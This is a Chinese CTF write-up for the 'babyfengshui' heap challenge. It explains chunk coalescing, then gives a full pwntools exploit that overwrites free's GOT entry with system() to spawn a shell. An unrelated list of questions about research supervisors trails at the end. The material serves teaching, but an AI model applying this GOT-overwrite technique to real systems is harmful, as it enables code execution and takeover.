0%

babyfengshui

借这个题来研究一下free时的合并问题.

QQ截图20200219192534.png
这个题的主要漏洞就出在这里, 即如果申请的两个chunk是相连的话, 是不能修改到下一个chunk的size的.
但是如果我们申请到的两个chunk不相邻的话, 中间的chunk的内容可以被我们任意修改.

但是如果我们申请的两个chunk之间有其他东西, 那么中间的东西是可以任意修改的.
我们先add(0x10), add(0x20), add(0x30)
则堆的内存分配为0x10 -> 0x80 -> 0x20 -> 0x80 -> 0x30 -> 0x80
这时free掉第一个ptr和第三个ptr, 则物理内存相连的0x10和0x80会合并, 变为0xa0(还有chunk头prev_size和size), 0x30和0x80也会合并.
当再次申请的时候会分配到0xa0和0xc0这两个chunk, 中间的chunk就可以任意被修改.
可以更改ptr的值, 并且下面的read也是对 ptr进行读入, 那么只要我们将 **ptr的值改为free@got, 这样就能方便的修改free的got表.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import * 

sh = process('babyfengshui')
# gdb.attach(sh, 'b * 0x0804898F')
context.log_level = 'debug'
elf = ELF('./babyfengshui')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

def Write(Until, Text):
sh.recvuntil(Until)
sh.sendline(Text)

def Add(Size, name, len, description):
Write('Action: ', str(0))
Write('size of description: ', str(Size))
Write('name: ', name)
Write('text length: ', str(len))
Write('text: ', description)

def Dele(Id):
Write('Action: ', str(1))
Write('index: ', str(Id))

def Show(Id):
Write('Action: ', str(2))
Write('index: ', str(Id))

def Edit(Id, len, Text):
Write('Action: ', str(3))
Write('index: ', str(Id))
Write('text length: ', str(len))
Write('text: ', Text)

Add(0x10, 'a', 1, 'a') # 0
Add(0x20, 'b', 1, 'b') # 1
Add(0x30, 'c', 1, 'c') # 2
Add(0x40, 'd', 8, '/bin/sh\x00') # 3
Add(0x50, 'e', 1, 'e') # 4
Dele(2)
Dele(0)
'''
0x10 -> 0x80 -> (0x20) -> (0x80) -> 0x30 -> 0x80 -> (0x40) -> (0x80) -> (0x50) -> (0x80)
'''

bss_addr = 0x0804B080

free_got_addr = elf.got['free']
log.success('free_got_addr: ' + hex(free_got_addr))
Add(0x10, 'a', 1, 'a') # 5
Edit(5, 0x10 + 0x88 + 0x28 + 0x8 + 0x5, 'a' * (0x10 + 0x88 + 0x28 + 0x8) + p32(free_got_addr))
Show(1)
sh.recvuntil('description: ')
libcbase = u32(sh.recv(4)) - 0x5fca0 - 0x117d0
log.success('libcbase: ' + hex(libcbase))
system_addr = libcbase + libc.symbols['system']

Edit(1, 0x5, p32(system_addr))
Dele(3)


sh.interactive()

  • 1.主要研究内容
  • 2.导师研究风格
  • 3.如果在本科进入的话可以接触到什么内容 需要学习什么内容
  • 4.各个导师的研究方向